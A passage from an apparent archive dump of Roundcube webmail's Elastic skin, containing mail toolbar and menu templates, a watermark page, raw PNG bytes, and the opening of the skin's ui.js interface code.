		label="compose" title="writenewmessage" innerclass="inner" />
	<roundcube:button command="reply" type="link" class="reply disabled" classAct="reply"
		label="reply" title="replytomessage" innerclass="inner" data-content-button="true" />
	<span class="dropbutton">
		<roundcube:button command="reply-all" type="link" class="reply-all disabled" classAct="reply-all"
			label="replyall" title="replytoallmessage" innerclass="inner" />
		<a href="#reply-all" id="replyallmenulink" class="dropdown" data-popup="replyall-menu" tabindex="0">
			<span class="inner"><roundcube:label name="arialabelreplyalloptions" /></span>
		</a>
	</span>
	<span class="dropbutton">
		<roundcube:button command="forward" type="link" class="forward disabled" classAct="forward"
			label="forward" title="forwardmessage" innerclass="inner" />
		<a href="#forward" id="forwardmenulink" class="dropdown" data-popup="forward-menu" tabindex="0">
			<span class="inner"><roundcube:label name="arialabelforwardingoptions" /></span>
		</a>
	</span>
	<span class="spacer"></span>
	<roundcube:button command="delete" type="link" class="delete disabled" classAct="delete"
		label="delete" title="deletemessage" innerclass="inner" />
	<roundcube:if condition="template:name == 'message'" />
		<roundcube:button command="print" type="link" class="print disabled" classAct="print"
			label="print" title="printmessage" innerclass="inner" data-hidden="small"  />
	<roundcube:endif />
	<roundcube:container name="toolbar" id="mailtoolbar" />
	<roundcube:button name="markmenulink" id="markmessagemenulink" type="link" class="markmessage"
		label="mark" title="markmessages" data-popup="markmessage-menu" innerclass="inner" />
	<roundcube:button name="messagemenulink" id="messagemenulink" type="link" class="more"
		label="more" title="moreactions" data-popup="message-menu" innerclass="inner" />
	<roundcube:if condition="template:name == 'message'" />
		<span class="spacer"></span>
		<roundcube:button command="previousmessage" type="link" class="prev disabled" classAct="prev"
			innerclass="inner" label="previous" title="previousmessage" data-hidden="small" />
		<roundcube:button command="nextmessage" type="link" class="next disabled" classAct="next"
			innerclass="inner" label="next" title="nextmessage" data-hidden="small" />
	<roundcube:endif />
</div>

<div id="forward-menu" class="popupmenu">
	<h3 id="aria-label-forward-menu" class="voice"><roundcube:label name="arialabelforwardingoptions" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-forward-menu">
		<roundcube:button type="link-menuitem" command="forward-inline" label="forwardinline" prop="sub" class="forward inline disabled" classAct="forward inline active" />
		<roundcube:button type="link-menuitem" command="forward-attachment" label="forwardattachment" prop="sub" class="forward attachment disabled" classAct="forward attachment active" />
		<roundcube:button type="link-menuitem" command="bounce" label="bouncemsg" class="forward bounce disabled" classAct="forward bounce active" />
		<roundcube:container name="forwardmenu" id="forward-menu" />
	</ul>
</div>

<div id="replyall-menu" class="popupmenu">
	<h3 id="aria-label-replyall-menu" class="voice"><roundcube:label name="arialabelreplyalloptions" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-replyall-menu">
		<roundcube:button type="link-menuitem" command="reply-all" label="replyall" prop="sub" class="reply all disabled" classAct="reply all active" />
		<roundcube:button type="link-menuitem" command="reply-list" label="replylist" prop="sub" class="reply list disabled" classAct="reply list active" />
		<roundcube:container name="replyallmenu" id="replyall-menu" />
	</ul>
</div>

<div id="message-menu" class="popupmenu">
	<h3 id="aria-label-message-menu" class="voice"><roundcube:label name="arialabelmoremessageactions" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-message-menu">
		<roundcube:button type="link-menuitem" command="print" label="printmessage" class="print disabled" classAct="print active" data-hidden="small"/>
		<roundcube:if condition="template:name != 'message'" />
			<roundcube:button type="link-menuitem" command="import-messages" label="import" class="import disabled" classAct="import active"
				name="messageimport" onclick="UI.import_dialog()" />
		<roundcube:endif />
		<roundcube:button type="link-menuitem" command="download" label="export" class="download disabled" classAct="download active" />
		<roundcube:button type="link-menuitem" command="edit" prop="new" label="editasnew" class="edit asnew disabled" classAct="edit asnew active" />
		<roundcube:button type="link-menuitem" command="viewsource" label="viewsource" class="source disabled" classAct="source active" />
		<roundcube:button type="link-menuitem" command="move" label="moveto" class="move disabled" classAct="move active" innerclass="folder-selector-link" aria-haspopup="true" />
		<roundcube:button type="link-menuitem" command="copy" label="copyto" class="copy disabled" classAct="copy active" innerclass="folder-selector-link" aria-haspopup="true" />
		<roundcube:button type="link-menuitem" command="open" label="openinextwin" target="_blank" class="extwin disabled" classAct="extwin active" data-hidden="small" />
		<roundcube:container name="messagemenu" id="message-menu" />
	</ul>
</div>

<div id="markmessage-menu" class="popupmenu">
	<h3 id="aria-label-markmessage-menu" class="voice"><roundcube:label name="arialabelmarkmessagesas" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-markmessage-menu">
		<roundcube:button type="link-menuitem" command="mark" prop="read" label="markread" classAct="read active" class="read disabled" />
		<roundcube:button type="link-menuitem" command="mark" prop="unread" label="markunread" classAct="unread active" class="unread disabled" />
		<roundcube:button type="link-menuitem" command="mark" prop="flagged" label="markflagged" classAct="flag active" class="flag disabled" />
		<roundcube:button type="link-menuitem" command="mark" prop="unflagged" label="markunflagged" classAct="unflag active" class="unflag disabled" />
		<roundcube:if condition="config:flag_for_deletion && !config:skip_deleted" />
		<roundcube:button type="link-menuitem" command="mark" prop="undelete" label="markundeleted" classAct="undo active" class="undo disabled" />
		<roundcube:endif />
		<roundcube:container name="markmenu" id="markmessage-menu" />
	</ul>
</div>

<roundcube:if condition="template:name != 'message'" />
	<roundcube:object name="messageimportform" id="uploadform" class="popupmenu formcontent" buttons="no" />
<roundcube:endif />
PKh�\����*skins/elastic/templates/includes/menu.htmlnu�[���<div id="layout-menu">
	<h2 id="aria-label-tasknav" class="voice"><roundcube:label name="arialabeltasknav" /></h2>
	<div class="popover-header">
		<roundcube:object name="logo" src="/images/logo.svg" id="logo" alt="Logo" />
		<a class="button icon cancel"><span class="inner"><roundcube:label name="close" /></span></a>
	</div>
	<div id="taskmenu" class="menu toolbar" role="navigation" aria-labelledby="aria-label-tasknav">
		<span class="action-buttons">
			<roundcube:if condition="env:action == 'compose' and env:task == 'mail'" />
				<roundcube:button command="compose" type="link" class="compose selected"
					label="compose" title="writenewmessage" innerclass="inner" />
			<roundcube:else />
				<roundcube:button command="compose" type="link" class="compose"
					label="compose" title="writenewmessage" innerclass="inner"
					data-fab="true" data-fab-task="mail" data-fab-action="none" />
			<roundcube:endif />
		</span>
		<roundcube:if condition="env:action == 'compose' and env:task == 'mail'" />
			<roundcube:button command="mail" label="mail" type="link" innerClass="inner"
				class="mail" />
		<roundcube:else />
			<roundcube:button command="mail" label="mail" type="link" innerClass="inner"
				class="mail" classSel="mail selected" />
		<roundcube:endif />
		<roundcube:button command="addressbook" label="contacts" type="link" innerClass="inner"
			class="contacts" classSel="contacts selected" />
		<roundcube:container name="taskbar" id="taskmenu" />
		<roundcube:button command="settings" label="settings" type="link" innerClass="inner"
			class="settings" classSel="settings selected" />
		<span class="special-buttons">
			<roundcube:if condition="config:dark_mode_support" />
				<roundcube:add_label name="darkmode" />
				<roundcube:add_label name="lightmode" />
				<roundcube:button name="theme" label="darkmode" type="link" innerClass="inner" class="theme dark" />
			<roundcube:endif />
			<roundcube:button name="about" label="about" type="link"
				class="about" innerClass="inner" onclick="UI.about_dialog(this)" />
			<roundcube:button command="logout" label="logout" type="link"
				class="logout" innerClass="inner" />
		</span>
	</div>
</div>
PKh�\�EII��*skins/elastic/templates/contactimport.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:label name="addressbook" /> : <roundcube:label name="importcontacts" /></h1>

<div class="formcontent">
	<roundcube:object name="importstep" class="propform" table-header-class="form-group row d-none d-sm-flex" table-col-source-class="col-sm-4" table-col-destination-class="col-sm-8" />
</div>

<roundcube:include file="includes/footer.html" />
PKh�\rӮ'$skins/elastic/templates/message.htmlnu�[���<roundcube:include file="includes/layout.html" />
<roundcube:include file="includes/menu.html" condition="!env:framed && !env:extwin" />

<roundcube:object name="mailboxlist" folder_filter="mail" type="js" />

<h1 class="voice"><roundcube:label name="arialabelmailpreviewframe" /></h1>

<div id="layout-content" class="selected">
	<roundcube:if condition="!env:framed" />
		<h2 id="aria-label-toolbar" class="voice"><roundcube:label name="arialabeltoolbar" /></h2>
		<div class="header" role="toolbar" aria-labelledby="aria-label-toolbar">
			<a class="button icon back-list-button" href="#back"><span class="inner"><roundcube:label name="back" /></span></a>
			<span class="header-title"></span>
			<roundcube:include file="includes/mail-menu.html" />
		</div>
	<roundcube:endif />
	<div class="content frame-content" role="main">
		<div id="message-header">
			<h2 class="subject">
				<span class="voice"><roundcube:label name="subject" />: </span>
				<roundcube:object name="messageHeaders" valueOf="subject" />
				<roundcube:if condition="!env:message_context && !env:extwin">
					<roundcube:button command="extwin" type="link" class="extwin" innerClass="inner"
						label="openinextwin" title="openinextwin" data-hidden="small" />
				<roundcube:endif />
			</h2>
			<div class="header">
				<roundcube:object name="contactphoto" class="contactphoto" placeholder="/images/contactpic.svg" bg-color="transparent" />
				<div class="header-content">
					<roundcube:object name="messageSummary" class="header-summary" addicon="virtual" />
					<roundcube:object name="messageHeaders" class="header-headers" addicon="virtual" exclude="subject" max="10" />
					<div class="header-links">
						<roundcube:add_label name="details" />
						<roundcube:add_label name="summary" />
						<a href="#headers" class="headers-summary" onclick="return UI.headers_show(true)"></a>
						<a href="#all-headers" class="headers-all" onclick="return UI.headers_dialog()"><roundcube:label name="headers" /></a>
						<roundcube:add_label name="arialabelmessageheaders" />
						<roundcube:if condition="env:optional_format=='text'" />
							<roundcube:button command="change-format" prop="text" type="link" class="plain" innerClass="inner"
								title="changeformattext" label="plaintoggle" />
						<roundcube:elseif condition="env:optional_format=='html'" />
							<roundcube:button command="change-format" prop="html" type="link" class="html" innerClass="inner"
								title="changeformathtml" label="htmltoggle" />
						<roundcube:endif />
						<roundcube:container name="headerlinks" id="header-links" />
					</div>
				</div>
			</div>
		</div>
		<div id="message-content">
			<div class="leftcol" role="region" aria-labelledby="aria-label-messageattachments">
				<h2 id="aria-label-messageattachments" class="voice"><roundcube:label name="attachments" /></h2>
				<roundcube:object name="messageAttachments" id="attachment-list" class="attachmentslist" />
			</div>
			<div class="rightcol" role="region" aria-labelledby="aria-label-messagebody">
				<h2 id="aria-label-messagebody" class="voice"><roundcube:label name="arialabelmessagebody" /></h2>
				<roundcube:object name="messageObjects" id="message-objects" />
				<roundcube:object name="messageBody" id="messagebody" headertableclass="headers-table" />
			</div>
		</div>
	</div>
</div>

<!-- popup menus -->
<div id="attachmentmenu" class="popupmenu">
	<h3 id="aria-label-attachmentmenu" class="voice"><roundcube:label name="arialabelattachmentmenu" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-attachmentmenu">
		<roundcube:button command="open-attachment" type="link-menuitem" id="attachmenuopen" label="open" class="extwin disabled" classAct="extwin active" />
		<roundcube:button command="download-attachment" type="link-menuitem" id="attachmenudownload" label="download" class="download disabled" classAct="download active" />
		<roundcube:container name="attachmentmenu" id="attachmentmenu" />
	</ul>
</div>

<div id="mailto-menu" class="popupmenu">
	<h3 id="aria-label-mailtomenu" class="voice"><roundcube:label name="arialabelmailtomenu" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-mailtomenu">
		<roundcube:button name="addtoaddressbook" type="link-menuitem" label="addtoaddressbook" class="addressbook" classAct="addressbook active" />
		<roundcube:button name="composeto" type="link-menuitem" label="composeto" class="compose" classAct="compose active" />
		<roundcube:container name="mailtomenu" id="mailto-menu" />
	</ul>
</div>

<roundcube:include file="includes/footer.html" />
PKh�\[�v;;skins/elastic/thumbnail.pngnu�[����PNG


IHDR@@�����PLTE���BCD�����Dz��CEG��ż�����899��ó��chj�����㲵�����������������������������===���+++������000uuuSSS;;;�����▖�������hhh%&&$$$��������������������������������������������������������Vbg��������������ANU���������mmm��������������޶��_jp(((  �����������222��������������������������黻����������ixhsxT`fdddIJK555�����鱲����������bns�������쌌�|||oooCCC��������������T�����y��^}�?h{ZnxymrKcnFZf^^^ZZZAAA:�<tRNS�������������������	IDATX�͗�w�P�U�^7-�$� (������( K�JA��j��{��o}IZJ[F�s<~9���{�=�,������CCp�0�����}:LJ������M�$�+�1!8va��%�%	���p�ܕ���ˤ�$����7��TNNT�2'��2$F�af+���(2�Lh���[0 )��L��xܟ�� 0���X�05Z�9j�C�`��wL���EI�$��ヌ�1A��<�U@Hr�Aj��hL���d�!u������!�Q,��Z�h�”�Ȥ`�b���k�$b��`bG#��Ov�ⱛ ���L�N-�R�0�J���ڨ�%nB D�M"�{�3~?�pwZk�b<� +FY���,�R��������Y���gKOooO�]�L.�H>A.N�9�uŻo%�Q�����N�
Sm3]���T�4Cu,�{�4�?q���qQeD1�M����C�~e���Ӟӯ￸w�ڳNn���Z��6�j��e[�-�n�����rA@�"O���"Q��ji���ooܺ����CG>4*w��f�S��۷�W�.d􄞸�̗˨\�%DBK6��i���PJ�#^�/�S�*�,�+.]T�h� �(%y>&��^��ݬ�@�T �8�K��=#!F2*��q��"E��`�Hh2�TZ�P,��@g_帀^A"Z����bxn<�g?�;
��h}ҁH�PC@J� xԹu�{�G	6R�����9Hw�3s�|�b4C5�
��Jڧ�� �(_��aN��
�J���f*p�V��P��s0��$����b�H ͉0�$F��l� �9M?��(G�h"�œ�D��r0x���n��+;�v����o�~�9JT�$^Ʒ;?��{){
4��=ztft���#$0z�����_·�� �C��A�9+�d%���LV�:\�)Zd��
�h.��|"S�y s�!�*��Z±"�	^9b�@������!��Vpj��	��Y�BcH��P\J&Y�\�6��b�J̚Uk��¬Y�r��,����C�"C��:a��U8� T/��[K�G��4
�!�m���+��s~�bƛ[�#D�O���:�ˆ�Pik;A$C� 5*��a�L���}��	P��<�P~;'8?lհV��v���h{�4��V0��C�G�Zp�j��v�Hu�y��ؙ�����?\��3�7mu�����t��:1W���~):�� �/�IEND�B`�PKh�\.�ZJUUskins/elastic/watermark.htmlnu�[���<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
<style type="text/css">
html, body { height: 100%; overflow: hidden; }
body {
  background: url(images/logo.svg) center no-repeat #fff;
  background-size: 30%;
  background-blend-mode: luminosity;
}
html:not(.dark-mode) body:before {
  content: "";
  position: absolute;
  top: 0;
  bottom: 0;
  left: 0;
  right: 0;
  background: rgba(255, 255, 255, .85);
}
html.dark-mode > body {
  background-color: #21292c;
  background-blend-mode: soft-light;
}
</style>
<script>
  try {
    if (document.cookie.indexOf('colorMode=dark') > -1
      || (document.cookie.indexOf('colorMode=light') === -1 && window.matchMedia('(prefers-color-scheme: dark)').matches)
    ) {
      document.documentElement.className += ' dark-mode';
    }
  } catch (e) { }
</script>
</head>
<body></body>
</html>
PKh�\6�M4n4nskins/elastic/ui.jsnu�[���/**
 * Roundcube webmail functions for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original autors in the README file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 *
 * @license magnet:?xt=urn:btih:90dc5c0be029de84e523b9b3922520e79e0e6f08&dn=cc0.txt CC0-1.0
 */

"use strict";

function rcube_elastic_ui()
{
    var prefs, ref = this,
        mode = 'normal', // one of: large, normal, small, phone
        color_mode = 'light', // 'light' or 'dark'
        touch = false,
        ios = false,
        popups_close_lock,
        is_framed = rcmail.is_framed(),
        env = {
            config: {
                standard_windows: rcmail.env.standard_windows,
                message_extwin: rcmail.env.message_extwin,
                compose_extwin: rcmail.env.compose_extwin,
                help_open_extwin: rcmail.env.help_open_extwin
            },
            checkboxes: 0,
            small_screen_config: {
                standard_windows: true,
                message_extwin: false,
                compose_extwin: false,
                help_open_extwin: false
            }
        },
        menus = {},
        content_buttons = [],
        frame_buttons = [],
        layout = {
            menu: $('#layout-menu'),
            sidebar: $('#layout-sidebar'),
            list: $('#layout-list'),
            content: $('#layout-content'),
        },
        buttons = {
            menu: $('a.task-menu-button'),
            back_sidebar: $('a.back-sidebar-button'),
            back_list: $('a.back-list-button'),
            back_content: $('a.back-content-button'),
        };


    // Public methods
    this.register_content_buttons = register_content_buttons;
    this.menu_hide = menu_hide;
    this.menu_toggle = menu_toggle;
    this.menu_destroy = menu_destroy;
    this.popup_init = popup_init;
    this.about_dialog = about_dialog;
    this.headers_dialog = headers_dialog;
    this.import_dialog = import_dialog;
    this.props_dialog = props_dialog;
    this.headers_show = headers_show;
    this.spellmenu = spellmenu;
    this.searchmenu = searchmenu;
    this.headersmenu = headersmenu;
    this.header_reset = header_reset;
    this.compose_status = compose_status;
    this.attachmentmenu = attachmentmenu;
    this.mailtomenu = mailtomenu;
    this.recipient_selector = recipient_selector;
    this.show_list = show_list;
    this.show_sidebar = show_sidebar;
    this.smart_field_init = smart_field_init;
    this.smart_field_reset = smart_field_reset;
    this.form_errors = form_errors;
    this.switch_nav_list = switch_nav_list;
    this.searchbar_init = searchbar_init;
    this.pretty_checkbox = pretty_checkbox;
    this.pretty_select = pretty_select;
    this.datepicker_init = datepicker_init;
    this.bootstrap_style = bootstrap_style;
    this.toggle_list_selection = toggle_list_selection;
    this.get_screen_mode = get_screen_mode;
    this.is_mobile = is_mobile;
    this.is_touch = is_touch;

    // Detect screen size/mode
    screen_mode();

    // Initialize layout
    layout_init();

    // Convert some elements to Bootstrap style
    bootstrap_style();

    // Initialize responsive toolbars (have to be before popups init)
    toolbar_init();

    // Initialize content frame and list handlers
    content_frame_init();

    // Initialize menu dropdowns
    dropdowns_init();

    // Setup various UI elements
    setup();

    // Update layout after initialization
    resize();


    /**
     * Setup procedure
     */
    function setup()
    {
        var title, form, content_buttons = [];

        // Intercept jQuery-UI dialogs...
        $.ui && $.widget('ui.dialog', $.ui.dialog, {
            open: function() {
                // ... to unify min width for iframe'd dialogs
                if ($(this.element).is('.iframe')) {
                    this.options.width = Math.max(576, this.options.width);
                }
                this._super();
                // ... to re-style them on dialog open
                dialog_open(this);
                return this;
            },
            close: function() {
                this._super();
                // ... to close custom select dropdowns on dialog close
                $('.select-menu:visible').remove();
                return this;
            }
        });

        // menu/sidebar/list button
        buttons.menu.on('click', function() { app_menu(true); return false; });
        buttons.back_sidebar.on('click', function() { show_sidebar(); return false; });
        buttons.back_list.on('click', function() { show_list(); return false; });
        buttons.back_content.on('click', function() { show_content(true); return false; });

        // Initialize search forms
        $('.searchbar').each(function() { searchbar_init(this); });

        // Set content frame title in parent window (exclude ext-windows and dialog frames)
        if (is_framed && !rcmail.env.extwin && !parent.$('.ui-dialog:visible').length) {
            if (title = $('h1.voice').first().text()) {
                parent.$('#layout-content > .header > .header-title:not(.constant)').text(title);
            }
        }
        else if (!is_framed) {
            title = layout.content.find('.boxtitle').first().detach().text();

            if (!title) {
                title = $('h1.voice').first().text();
            }

            if (title) {
                layout.content.find('.header > .header-title').text(title);
            }
        }

        // Add content frame toolbar in the footer, for content buttons and navigation
        if (!is_framed && layout.content.length && !layout.content.is('.no-navbar')
            && !layout.content.children('.frame-content').length
        ) {
            env.frame_nav = $('<div class="footer menu toolbar content-frame-navigation hide-nav-buttons">')
                .append($('<a class="button prev">')
                    .append($('<span class="inner"></span>').text(rcmail.gettext('previous'))))
                .append($('<span class="buttons">'))
                .append($('<a class="button next">')
                    .append($('<span class="inner"></span>').text(rcmail.gettext('next'))))
                .appendTo(layout.content);
        }

        // Move some buttons to the frame footer toolbar
        $('a[data-content-button]').each(function() {
            content_buttons.push(create_cloned_button($(this)));
        });

        // Move form buttons from the content frame into the frame footer (on parent window)
        $('.formbuttons').filter(function() { return !$(this).parent('.searchoptions').length; }).find('button').each(function() {
            var target = $(this);

            // skip non-content buttons
            if (!is_framed && !target.parents('#layout-content').length) {
                return;
            }

            if (target.is('.cancel')) {
                target.addClass('hidden');
                return;
            }

            content_buttons.push(create_cloned_button(target));
        });

        (is_framed ? parent.UI : ref).register_content_buttons(content_buttons);

        // Mail compose features
        if (form = rcmail.gui_objects.messageform) {
            form = $('form[name="' + form + '"]');
            // Show input elements with non-empty value
            // These event handlers need to be registered before rcmail 'init' event
            $('#_cc, #_bcc, #_replyto, #_followupto', $('.compose-headers')).each(function() {
                $(this).on('change', function() {
                    $('#compose' + $(this).attr('id'))[this.value ? 'removeClass' : 'addClass']('hidden');
                });
            });

            // We put compose options outside of the main form
            // Because IE/Edge (<16) does not support 'form' attribute we'll copy
            // inputs into the main form as hidden fields
            // TODO: Consider doing this for IE/Edge only, just set the 'form' attribute on others
            $('#compose-options').find('textarea,input,select').each(function() {
                var hidden = $('<input>')
                    .attr({type: 'hidden', name: $(this).attr('name')})
                    .appendTo(form);

                $(this).attr('tabindex', 2)
                    .on('change', function() {
                        hidden.val(this.type != 'checkbox' || this.checked ? $(this).val() : '');
                    })
                    .change();
            });
        }

        // Use smart recipient inputs
        // This have to be after mail compose feature above
        $('[data-recipient-input]').each(function() { recipient_input(this); });

        // Image upload widget
        $('.image-upload').each(function() { image_upload_input(this); });

        // Add HTML/Plain switcher on top of textarea with TinyMCE editor
        $('textarea[data-html-editor]').each(function() { html_editor_init(this); });

        $('#dragmessage-menu,#dragcontact-menu').each(function() {
            rcmail.gui_object('dragmenu', this.id);
        });

        // Taskmenu items added by plugins do not use elastic classes (e.g help plugin)
        // it's for larry skin compat. We'll assign 'selected' and icon-specific class.
        $('#taskmenu > a').each(function() {
            if (/button-([a-z]+)/.test(this.className)) {
                var data, name = RegExp.$1,
                    button = find_button(this.id);

                if (button && (data = button.data)) {
                    if (data.sel) {
                        data.sel = data.sel.replace('button-selected', 'selected') + ' ' + name;
                    }

                    if (data.act) {
                        data.act += ' ' + name;
                    }

                    rcmail.buttons[button.command][button.index] = data;
                    rcmail.init_button(button.command, data);
                }

                $(this).addClass(name);
                $('.button-inner', this).addClass('inner');
            }

            $(this).on('mouseover', function() { rcube_webmail.long_subject_title(this, 0, $('span.inner', this)); });
        });

        // Some plugins use 'listbutton' class, we'll replace it with 'button'
        $('.listbutton').each(function() {
            var button = find_button(this.id);

            $(this).addClass('button').removeClass('listbutton');

            if (button.data.sel) {
                button.data.sel = button.data.sel.replace('listbutton', 'button');
            }
            if (button.data.act) {
                button.data.act = button.data.act.replace('listbutton', 'button');
            }

            rcmail.buttons[button.command][button.index] = button.data;
            rcmail.init_button(button.command, button.data);
        });

        // buttons that should be hidden on small screen devices
        $('[data-hidden]').each(function() {
            var m, v = $(this).data('hidden'),
                parent = $(this).parent('li'),
                re = /(large|big|small|phone|lbs)/g;

                while (m = re.exec(v)) {
                    $(parent.length ? parent : this).addClass('hidden-' + m[1]);
                }
        });

        // Modify normal checkboxes on lists so they are different
        // than those used for row selection, i.e. use icons
        $('[data-list]').each(function() {
            $('input[type=checkbox]', this).each(function() { pretty_checkbox(this); });
        });

        // Assign .formcontainer class to the iframe body, when it
        // contains .formcontent and .formbuttons.
        if (is_framed) {
            $('.formcontent').each(function() {
                if ($(this).next('.formbuttons').length) {
                    $(this).parent().addClass('formcontainer');
                }
            });
        }

        // move "Download all attachments" button into a better location
        $('#attachment-list + a.zipdownload').appendTo('.header-links');

        if (ios = $('html').is('.ipad,.iphone')) {
            $('.iframe-wrapper, .scroller').addClass('ios-scroll');
        }

        if ($('html').filter('.ipad,.iphone,.webkit.mobile,.webkit.tablet').addClass('webkit-scroller').length) {
            $(layout.menu).addClass('webkit-scroller');
        }

        // Set .notree class on treelist widget update
        $('.treelist').each(function() {
            var list = this, callback = function() {
                    $(list)[$('.treetoggle', list).length > 0 ? 'removeClass' : 'addClass']('notree');
                };

            if (window.MutationObserver) {
                (new MutationObserver(callback)).observe(list, {childList: true, subtree: true});
            }
            callback();

            // Add title with full folder name on hover
            // TODO: This should be done in another way, so if an entry is
            // added after page load it also works there.
            $('li.mailbox > a').on('mouseover', function() { rcube_webmail.long_subject_title_ex(this); });
        });
    };

    /**
     * Moves form buttons into the content frame actions toolbar (for mobile)
     */
    function register_content_buttons(buttons)
    {
        // we need these buttons really only in phone mode
        if (/*mode == 'phone' && */ env.frame_nav && buttons && buttons.length) {
            var toolbar = env.frame_nav.children('.buttons');

            content_buttons = [];
            $.each(buttons, function() {
                if (this.data('target')) {
                    content_buttons.push(this.data('target'));
                }
            });

            toolbar.html('').append(buttons);
        }
    };

    /**
     * Registers cloned button
     */
    function register_cloned_button(old_id, new_id, active_class)
    {
        var button = find_button(old_id);
        if (button) {
            rcmail.register_button(button.command, new_id, button.data.type, active_class, button.data.sel);
        }
    };

    /**
     * Create a button clone for use in toolbar
     */
    function create_cloned_button(target, menu_button, add_class, always_active)
    {
        var popup, click = true,
            button = $('<a>'),
            target_id = target.attr('id') || new Date().getTime(),
            button_id = target_id + '-clone',
            btn_class = target[0].className + (add_class ? ' ' + add_class : '');

        if (!menu_button) {
            btn_class = btn_class.replace('btn-primary', 'primary').replace(/(btn[a-z-]*|button|disabled)/g, '').trim()
            btn_class += ' button' + (!always_active ? ' disabled' : '');
        }
        else if (popup = target.data('popup')) {
            button.data({popup: popup, 'toggle-button': target.data('toggle-button')});
            popup_init(button[0]);
            click = false;
            rcmail.register_menu_button(button[0], popup);
        }

        button.attr({id: button_id, href: '#', 'class': btn_class})
            .append($('<span class="inner">').text(target.text()));

        if (click) {
            button.on('click', function(e) { target.click(); });
        }

        if (is_framed && !menu_button) {
            button.data('target', target);
            frame_buttons.push($.extend({button_id: button_id}, find_button(target[0].id)));
        }
        else {
            // Register the button to get active state updates
            register_cloned_button(target_id, button_id, btn_class.replace(' disabled', ''));
        }

        return button;
    };

    /**
     * Finds an rcmail button
     */
    function find_button(id)
    {
        var i, button, command;

        for (command in rcmail.buttons) {
            for (i = 0; i < rcmail.buttons[command].length; i++) {
                button = rcmail.buttons[command][i];
                if (button.id == id) {
                    return {
                        command: command,
                        index: i,
                        data: button
                    };
                }
            }
        }
    };

    /**
     * Setup environment
     */
    function layout_init()
    {
        // Initialize light/dark mode
        color_mode_init();

        // Select current layout element
        env.last_selected = $('#layout > div.selected')[0];
        if (!env.last_selected && layout.content.length) {
            $.each(['sidebar', 'list', 'content'], function() {
                if (layout[this].length) {
                    env.last_selected = layout[this][0];
                    layout[this].addClass('selected');
                    return false;
                }
            });
        }

        // Register resize handler
        $(window).on('resize', function() {
            clearTimeout(env.resize_timeout);
            env.resize_timeout = setTimeout(function() { resize(); }, 25);
        });

        // Enable rcmail.open_window intercepting
        env.open_window = rcmail.open_window;
        rcmail.open_window = window_open;

        rcmail
            .addEventListener('message', message_displayed)
            .addEventListener('menu-open', menu_toggle)
            .addEventListener('menu-close', menu_toggle)
            .addEventListener('editor-init', tinymce_init)
            .addEventListener('autocomplete_create', rcmail_popup_init)
            .addEventListener('googiespell_create', rcmail_popup_init)
            .addEventListener('setquota', update_quota)
            .addEventListener('enable-command', enable_command_handler)
            .addEventListener('destroy-entity-selector', function(o) { menu_destroy(o.name); })
            .addEventListener('clonerow', pretty_checkbox_fix)
            .addEventListener('init', init);

        // Create floating action button(s)
        if ((layout.list.length || layout.content.length) && is_mobile()) {
            var fabuttons = [];

            $('[data-fab]').each(function() {
                var button = $(this),
                    task = button.data('fab-task') || '*',
                    action = button.data('fab-action') || '*';

                if ((task == '*' || task == rcmail.env.task)
                    && (action == '*' || action == rcmail.env.action || (action == 'none' && !rcmail.env.action))
                ) {
                    fabuttons.push(create_cloned_button(button, false, false, true));
                }
            });

            if (fabuttons.length) {
                $('<div class="floating-action-buttons">').append(fabuttons)
                    .appendTo(layout.list.length ? layout.list : layout.content);
            }
        }

        // Initialize column resizers (must be after floating buttons)
        if (layout.sidebar.length) {
            splitter_init(layout.sidebar);
        }

        if (layout.list.length) {
            splitter_init(layout.list);
        }
    };

    /**
     * rcmail 'init' event handler
     */
    function init()
    {
        // Additional functionality on list widgets
        $('[data-list]').filter('ul,table').each(function() {
            var table = $(this),
                list = table.data('list');

            if (rcmail[list] && rcmail[list].multiselect) {
                var repl, button,
                    parent = table.parents('layout-sidebar,#layout-list,#layout-content').last(),
                    header = parent.find('.header'),
                    toolbar = header.find('ul');

                if (!toolbar.length) {
                    toolbar = header;
                }
                else if (button = toolbar.find('a.select').data('toggle-button')) {
                    button = $('#' + button);
                }

                // Enable checkbox selection on list widgets
                rcmail[list].enable_checkbox_selection();

                if (get_pref('list-selection') === true) {
                    table.addClass('withselection');
                }

                // Add Select button to the list navigation bar
                if (!button) {
                    button = $('<a>').attr({'class': 'button selection disabled', role: 'button', title: rcmail.gettext('select')})
                        .on('click', function() { UI.toggle_list_selection(this, table.attr('id')); })
                        .append($('<span class="inner">').text(rcmail.gettext('select')));

                    if (toolbar.is('.menu')) {
                        button.prependTo(toolbar).wrap('<li role="menuitem">');

                        // Add a button to the content toolbar menu too
                        if (layout.content) {
                            var button2 = create_cloned_button(button, true, 'hidden-big hidden-large');
                            $('<li role="menuitem">').append(button2).appendTo('#toolbar-menu');
                            button = button.add(button2);
                        }
                    }
                    else {
                        if (repl = table.data('list-select-replace')) {
                            $(repl).replaceWith(button);
                        }
                        else {
                            button.appendTo(toolbar).addClass('icon');
                            if (!parent.is('#layout-sidebar')) {
                                button.addClass('toolbar-button');
                            }
                        }
                    }
                }

                // Update Select button state on list update
                rcmail.addEventListener('listupdate', function(prop) {
                    if (prop.list && prop.list == rcmail[list]) {
                        if (prop.rowcount) {
                            button.addClass('active').removeClass('disabled').attr('tabindex', 0);
                        }
                        else {
                            button.removeClass('active').addClass('disabled').attr('tabindex', -1);
                        }
                    }
                });
            }

            // https://github.com/roundcube/elastic/issues/45
            // Draggable blocks scrolling on touch devices, we'll disable it there
            if (touch && rcmail[list]) {
                if (typeof rcmail[list].draggable == 'function') {
                    rcmail[list].draggable('destroy');
                }
                else if (typeof rcmail[list].draggable == 'boolean') {
                    rcmail[list].draggable = false;
                }

                // Also disable double-click to prevent from opening items
                // in a new page, and prevent from zoom issues (#7732)
                rcmail[list].dblclick_time = 0;
            }
        });

        // Display "List is empty..." on the list
        if (window.MutationObserver) {
